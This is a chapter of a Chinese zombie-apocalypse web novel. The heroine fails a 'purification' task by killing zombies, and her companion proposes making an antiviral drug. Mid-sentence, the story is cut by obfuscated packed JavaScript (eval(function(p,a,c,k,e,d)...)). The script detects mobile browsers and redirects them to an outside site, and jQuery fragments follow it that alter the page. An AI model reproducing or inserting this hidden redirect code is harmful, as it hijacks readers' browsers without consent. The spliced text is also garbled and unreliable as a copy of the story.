再回来时，陈叙淮满身血气，一言不发。


    他眉宇间躁郁不安，赵恩发觉之后，停下用桃木刺扒拉丧尸的动作，转身说道：“我不怪你，也不会赶你们一家离开，你大可以放心。”


    “……你不觉得我冷血，残忍，危险，是个小人，不可与之交？”


    赵恩叹了口气：“冷血残忍，或许没错。但我不觉得你危险，因为你打不过我——就算你命令你的大狗和大鸟一起上，也打不过我。”


    “……”这倒是真的。


    “另外，不要把我想得太蠢。那些日本人猜想我们有据点，我不确定他们会不会卷土重来，你确定，而我相信你的判断。你只是消除了一个隐患，我为什么要怪你？”


    “为什么相信我？”


    “因为你见得比我多，对付那些人比我专业。”她坦然道，“相信专业人士的判断，是我爸爸妈妈教我的。”


    陈叙淮不语，片刻后见她神色如常，显然是真心的，才终于露齿一笑，开始帮她挖坑：“令尊令堂真是聪明人。“


    他没有解释他怎么看出那几个日本人心怀不轨的，赵恩也没有问。


    -


    雨势愈发大了。


    赵恩和陈叙淮回到别墅后，沉寂了许久的天电系统在一阵噼啪的电流声过后下了任务。


    【现在发布本期任务：减少丧尸危害，净化本地空间。


    任务进度：0/500。


    任务期限：三十天。


    完成奖励：名望值增加一点。


    失败处罚：身死道消。】


    时间和地点都很明确，赵恩来不及谴责系统装死多日，连饭都没好好吃，匆匆钻进了地窖，准备有用的装备。


    二十分钟后，孙承恩下来陪她，手里拿着一个托盘，上边放着一份豆芽熏肉卷，几块咸点心，一碟水果，一杯杏仁牛奶。


    “是系统给的任务吗？”他说，“这么着急，要去干什么？”


    赵恩把最后一包肉干塞进背包里：“对，我要进城杀丧尸。”减少丧尸危害，净化空间，不就是把丧尸杀光烧净，她可以的。


    孙承恩皱起眉：“这就是任务内容？那标准呢，杀多少丧尸算完成任务？”


    “五百个。”赵恩拉上背包拉链，咬了一大口肉卷，“我一个人去就行，打不过还可以变猫跑路，你和其他人好好在家守着。”


    孙承恩想了想，答应了：“好吧，我每天接送你到城郊。如果下午六点你没到接头地点，我就开车进城。”


    解决完全部晚餐，赵恩跟他回到大厅。天色已晚，所有人按照惯例围坐在壁炉前，赵恩在陈叙淮讲故事的间隙宣布了这个决定。


    第二天一早，赵恩吃饱喝足进了城，刚转过街角，就迎头碰上一队晃晃悠悠的丧尸。她拈着木刺在丧尸后颈来回穿梭，感觉任务完成得特别容易，还有种解压的爽感。


    “第十七个，第十八个——这个皮肤好硬，肯定变异了，能不能算成两个，罢了，天道一向小气，不可能的——哈，搞定！”


    系统又发出两下电流声，但赵恩在心里问它时，它又不说话了，把人烦个半死。


    等到最后一头丧尸在火焰中化为焦黑，她调出系统面板检查进度，却发现任务依旧显示0/500。


    “你这怎么还有延迟呢？”她心头涌上不好的预感，“怎么进度还是零？”


    系统表示：【没有延迟，截至目前，净化指数始终为零。】


    赵恩皱起眉头。


    “这进度条原来不是丧尸头数，是指数？怎么算的？”


    系统：【天机不可泄露。】


    “行吧，那就算指数，也不能是零吧？我消灭了这么多丧尸哎，是不是你算错了，再算一遍。”


    系统自动刷新，显示结果还是一样。


    “为什么？都烧成灰了，还不算净化吗，这空气都好闻多了好吧？”


    系统不说话。


    “难道消灭丧尸不算净化？哦，天道不喜欢杀生，所以我不应该杀掉它们，应该给它们洗澡？杀这些丧尸也算杀生吗——”


    她再说下去，就涉及到“丧尸是否属于生灵”的哲学思辨了，系统及时打断，吞吞吐吐地道：


    【消灭丧尸就算净化。但或许，宿主需要再用心一点。】


    再用心一点……行吧。


    接下来一天时间，赵恩顺着人迹较少的街巷走动，偶遇普通丧尸六十七只，高速移动的变异丧尸两只，陷入困境的幸存者两队，以及店门大敞的商铺十二家。


    她杀了丧尸，救了幸存者，进入商铺。有用的东西早已被洗劫一空，只剩藏在后屋内的小零食，巧克力脆片、椰子软糖之类，赵恩拿了一点，打算带回去给孩子们解馋。


    杀丧尸时，她不再无脑挑出神经，而是十分认真地、一个一个地拗断其脖颈，保证汗水洒在那坚硬的脊椎上，神情坚毅，仿佛在完成一门艺术，谁也不能说她不用心。


    尤其是那两只变异丧尸，它们不光速度快，好像脑子也跟着进化了，扑过来的时候，脸上居然有表情——虽然那是嗜血的凶残表情，但也显得很有人性，赵恩费劲杀完它们，还立地念了声佛。


    然而没用。


    任凭她怎么努力，一天过去，任务也没有丝毫进度，天电系统翻来覆去就是那句话：【要用心。】


    “——我还不够用心吗！”她快崩溃了，“我杀它们的时候心是很虔诚很慈悲的啊，我都念往生咒了，你没听到？！”


    “那几个金发绿眼的丧尸，我还因地制宜，给他们念的是圣经！哈利路亚！仁至义尽了吧！”


    【……】系统电流断续，最后居然学会了转移话题：【快六点了，你的人在找你，先回去吧。】


    赵恩气得倒仰，转头面对一堆丧尸都懒得杀了，变回小猫骂骂咧咧往孙承恩的方向飞。


    “我真的快累死了。”回到家里，赵恩往沙发里一躺，四爪摊开，肚皮朝上，过了一会儿才变成人形，“现在进度还是零，你说天道是不是在耍我？”


    在车上她向孙承恩逐字逐句地复述过系统原话，孙承恩仔细琢磨了一番，目前只能确定她走偏了，但他也不知道“净化”到底指的是什么。


    “事已至此，先吃饭吧。”他说。


    桌上餐盘里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170974|180278||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    摆着四片厚度均匀的面包，他用餐刀在一片面包表皮抹上甜香的蜂蜜，从旁边小碗里舀了勺黑芝麻粒，铺在蜂蜜层上。碟子里是一些煎好的培根，裹了椒盐粉调味料，焦脆和油脂程度都刚刚好，他卷起一条放在面包上，递给赵恩。


    天色已晚，屋内微弱的灯光下，培根和蜂蜜层光泽晶亮，赵恩接过面包片，咬了一大口。


    咸香松脆的培根边、甜而不腻的芝麻蜂蜜、软糯的面包同时赠给味蕾一场盛宴，几乎不用怎么嚼就能融化后滑进胃里。简单的食材，但成品看起来和尝起来一样好，她忍不住喟叹：“绝品面包！多亏有陈工，唉，下个世界没他我要怎么活啊。”


    孙承恩给她卷面包的动作一顿，转头看向她。


    “怎么了？”


    “后山有个地方泥石流风险大，陈工在想办法做支撑，今天的饭是我做的。”他说。


    “……”赵恩有点尴尬，“那你手艺不错，都跟陈工这个资深人夫不相上下啦。恭喜恭喜，以后你夫人会很有福气。”


    孙承恩看着她笑了下，没再说话。


    黎桃知道赵恩回来会很累，提前带着两个孩子睡觉了，陈叙淮更是早就睡下，赵恩饭后上楼时只觉万籁俱寂，楼道还比较黑，一瞬间想要变回猫咪钻进孙承恩怀里。


    但她今天已经尴尬够了，所以她遏制住冲动，全程拉着孙承恩的衣角上了楼，视线尽量不接触油灯照亮以外的地方。


    洗漱后躺在床上，尽管身心俱疲，可她还是怎么都睡不着。


    为了不打扰到旁边的人，她控制着没有翻身，一丁点动静都没闹，跟睡着了没什么区别，可孙承恩似乎能看穿她的心思，兀地出声道：“不是你杀丧尸手法的问题。”


    “嗯？”


    “我说，系统说你任务失败，不是杀丧尸手法的问题。从一开始，那个净化就不是要你去杀丧尸。”


    赵恩皱眉：“可它说了，消灭丧尸就算净化——”


    “消灭和消杀，是两个意思。”


    “那它到底什么意思，不能直说吗？这又不是文言文翻译！”赵恩愤愤睁眼，她最恨这种说话说一半要人猜的，前世那些云里雾里的天师她就不喜欢！


    她蜜糖色的杏仁眼在黑暗里灼灼发亮，让孙承恩想到半夜磨牙的猫咪。


    “我刚刚想了一路，所谓的消灭，会不会是更根本意义上的去除丧尸。”他出了会神，片刻后才继续说道，“比如抗病毒剂之类，毕竟丧尸本质是一种致死性传染病毒，抑制病毒扩散，是治标治本的去除，也就是净化。”


    赵恩无力地闭上眼：“你看我像是制药小天才的样子吗？”


    “没让你自己制。”孙承恩笑了，“我这边研究取得了进展，做个抗病毒剂难度不大。你明天试着加入研究，看看任务进度会不会有变化。”


    赵恩眨了眨眼睛。


    “你真好。”她小声说，“谢谢你，我都不知道该怎么报答你。”


    她保持着侧向他这边的姿势，很快睡着了。孙承恩给她盖被角的手停在半空，过了一会，还是落了下去，抚过她的鬓角。


    “晚安，做个好梦。”